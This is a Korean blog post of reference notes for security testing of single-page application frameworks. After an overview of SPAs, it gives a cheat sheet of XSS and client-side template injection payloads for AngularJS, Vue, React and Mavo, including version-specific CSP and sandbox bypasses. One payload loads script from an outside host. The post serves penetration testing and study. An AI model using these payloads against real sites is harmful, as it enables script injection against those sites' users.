🌍WEB

SPA(Angular, React, Vue) 진단 시 참고

Veloideu 2023. 1. 10. 13:38

💡SPA(Single Page Application)란?

SPA란 용어 그대로 단일 페이지로 이루어진 애플리케이션이다. 기존에는 사용자가 새로운 페이지로 이동할 때마다 새로운 html을 받아와 페이지를 로드해 보여주었다. 새로운 화면을 보여주기 위해 매번 서버에 요청하기 때문에 성능상의 문제가 생길 수 있다. 그래서 서버로부터 완전한 새로운 페이지를 불러오지 않고 현재의 페이지를 동적으로 다시 작성함으로써 사용자와 소통하는 웹 애플리케이션인 SPA가 사용되고 있다. 


💡SPA 예

우리가 자주 사용하는 서비스인 페이스북, 에어비앤비, 트위터, 넷플릭스도 SPA로 만들어졌다.


💡장점

  • 1. 페이지 이동시 화면 전체를 렌더링 할 필요가 없어 로딩 속도가 빠르다. 
  • 2. 프론트엔드와 백엔드의 분리되어 업무 분담이 용이하다.
  • 3. 하나의 요청을 통해 서버의 모든 데이터를 저장하여 로컬 데이터를 효율적으로 캐시 할 수 있다.

💡SPA를 위한 프레임워크

  • Angular.js
  • ex) Youtube
  • React.js
  • ex) 페이스북, 에어비앤비, 인스타그램
  • Ember.js
  • ex) 넷플릭스, 애플뮤직, 링크드인
  • Backbone.js
  • Vue.js

💡SPA/MPA 장단점 비교

SPA MPA (PHP, JSP)
장점
뛰어난 반응성(유연한 UI)
반응형 다자인으로 인해 모바일 앱이나 데스크탑 앱을 사용하는 느낌을 준다. 페이지상에서 무언가를 클릭 했을시 기다림 없이 즉각적인 반응이 일어난다.
SEO(Search Engine optimization, 검색 엔진 최적화)에 유리
유저가 보는 화면방식이 곧 웹 크롤러(web crawler)가 보는 방식과 같다. 그로 인해 SEO에 대해 좀 더 적합하다.
프론트와 백앤드의 분리
백앤드와 확실히 구분되기에 백앤드부분에 관해서 걱정할 필요가 없으며 서버 사이드 코드를 작성할 필요가 없다. 프론트앤더만으로도 웹사이트 완성할 수 있다.
넘쳐나는 자료
초보자들이 제작하기에 좋은 환경을 갖고 있다. SPA 보다는 오랜 역사로 인해 튜토리얼, 해결법, 프레임워크등 다양한 자료들을 얻을 수 있다.
트래픽 감소  
컴포넌트 재사용  

💡SPA 프레임워크 Exploit

  • Angular-jquery 1.0.1 ~ 1.8
더보기
  • Angular-jquery 1.8
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
  </script>
  <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
  • Angular-jquery 1.5.14
<script src=https://statics.teams.cdn.office.net/hashed/0.2-angular-jquery.min-eee9041.js></script>
<div ng-app ng-csp id=p>{{x={"n":"".constructor.prototype};x["n"].charAt=[].join;$eval("x=alert('numanturle')");}}</div>

<iframe srcdoc='<script src=https://statics.teams.cdn.office.net/hashed/0.2-angular-jquery.min-eee9041.js>
</script><div ng-app ng-csp id=p>{{x={"n":"".constructor.prototype};x["n"].charAt=[].join;
$eval("x=alert(\\"pwned --> numanturle\\")");}}</div>'>
  • Angular-jquery 1.4.6
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
  • Angular-jquery 1.1.3
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
  • Angular-jquery 1.0.8
working payloads :
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
  • Angular, Vue {{ }} 
더보기
# Input
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(`AngularJS!!`)');}}

# More Payload
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md

 

  • React.js
더보기
<img onerror='alert(\\"Hacked!\\");'
<b>"Hi, <img src='' onerror='alert(0)' />"</b>
"\\ 가 포인
  • 정리 및 CheatSheet
더보기

Detect

CSTI는 SSTI와 비슷하게 Template Engine이 서비스에 같이 존재해야 발생할 수 있는 조건이 충족됩니다. 여기서 이야기하는 Template Engine은 일반적으로 웹 FE 구성에서 많이 사용되는 VueJS, AngularJS, React 등을 의미하며 사용자의 입력값이 각 프레임워크에서 사용하는 Template 문법에 영향을 줄 수 있을 때 CSTI 공격이 성공할 수 있습니다.

 

SSTI와 유사하게 Template 문법 내 간단한 숫자 계산으로 통해서 영향력을 검증합니다.

GET /test?q=abcd{{412*343}}efgh HTTP/1.1

미취약

abcd${{412*343}}efgh

취약

abcd141316efgh

Exploitation

Vue

<div v-html="alert(45)"> aaa</div>

Angular

<input ng-focus=$event.view.alert(45)>

Mavo

[7*7] [(1,alert)(1)] <div mv-expressions="{{ }}">{{top.alert(1)}}</div> [self.alert(1)] javascript:alert(1)%252f%252f..%252fcss-images [Omglol mod 1 mod self.alert (1) andlol] [''=''or self.alert(lol)] <a data-mv-if='1 or self.alert(1)'>test</a> <div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div> <a href=[javascript&':alert(1)']>test</a> [self.alert(1)mod1]

Bypass protection

Vue

{{toString().constructor.constructor('alert(1)')()}} return new Function(code) {{_c.constructor('alert(1)')()}} <p v-show="_c.constructoralert(1)()"> <x v-on:click='_b.constructoralert(1)()'>click</x> <x v-bind:a='_b.constructoralert(1)()'> <x v-bind:is="'script'" src="//14.rs" /> <x is=script src=//⑭.₨> <img src @error="e=$event.path;e[e.length-1].alert(1)"> <img src @error="e=$event.path.pop().alert(1)"> <img src @error="e=$event.composedPath().pop().alert(1)"> <img src @error=this.alert(1)> {{-function(){this.alert(1)}()}} <svg @load=this.alert(1)> <svg@load=this.alert(1)>

Minimized

{{_c.constructor('alert(1)')()}} // (32 bytes) {{_b.constructoralert(1)()}} // (30 bytes)

Angular

{{constructor.constructor('alert(1)')()}} {{[].pop.constructor&#40'alert\\u00281\\u0029'&#41&#40&#41}} {{0[a='constructor'][a]('alert(1)')()}} {{$eval.constructor('alert(1)')()}} {{$on.constructor('alert(1)')()}}


 

 

출처

https://sangchul.kr/100

https://jsj0903.tistory.com/4